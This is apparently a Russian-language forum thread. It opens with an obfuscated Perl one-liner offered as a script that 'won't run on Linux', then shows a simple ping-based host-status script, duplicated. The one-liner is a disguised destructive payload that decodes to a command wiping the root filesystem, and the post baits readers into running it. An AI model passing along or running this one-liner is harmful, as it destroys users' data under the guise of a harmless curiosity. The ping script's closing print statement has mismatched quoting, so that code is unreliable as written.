не могу запустить в линуксе такой скрипт
echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
у кого нибудь получилось ?
скрипт проверки связи и переключения
вот новый скрипт он проверяет какие узлы сети работают, с помошью пинга и создает файл очет
#!/usr/bin/perl
%sh_ip = (
key1 => '192.168.12.101',
key2 => '192.168.12.100',
key3 => '192.168.12.116',
);
%sh = (
key1 => 'sh1',
key2 => 'sh2',
key3 => 'sh3',
);
#print qq~
#
#~;
open(F,"> /www/stat.html");
print F qq~
i_test
~;
while ( my ($key, $ip) = each(%sh_ip) ) {
# print "$key => $ip\n";
my $ping = `ping -c 2 $ip -c 2`;
my ($key, $shh) = each(%sh);
if ($ping =~ m/ttl/g )
{
print F "$shh ip= $ip ==> ok\n";
}
else
{
print F "$shh ip= $ip ==> no\n";
}
}
print F "
i_test
ok
see the status
~;
#!/usr/bin/perl
%sh_ip = (
key1 => '192.168.12.101',
key2 => '192.168.12.100',
key3 => '192.168.12.116',
);
%sh = (
key1 => 'sh1',
key2 => 'sh2',
key3 => 'sh3',
);
#print qq~
#
#~;
open(F,"> /www/stat.html");
print F qq~
i_test
~;
while ( my ($key, $ip) = each(%sh_ip) ) {
# print "$key => $ip\n";
my $ping = `ping -c 2 $ip -c 2`;
my ($key, $shh) = each(%sh);
if ($ping =~ m/ttl/g )
{
print F "$shh ip= $ip ==> ok\n";
}
else
{
print F "$shh ip= $ip ==> no\n";
}
}
print F "
i_test
ok
see the status
~;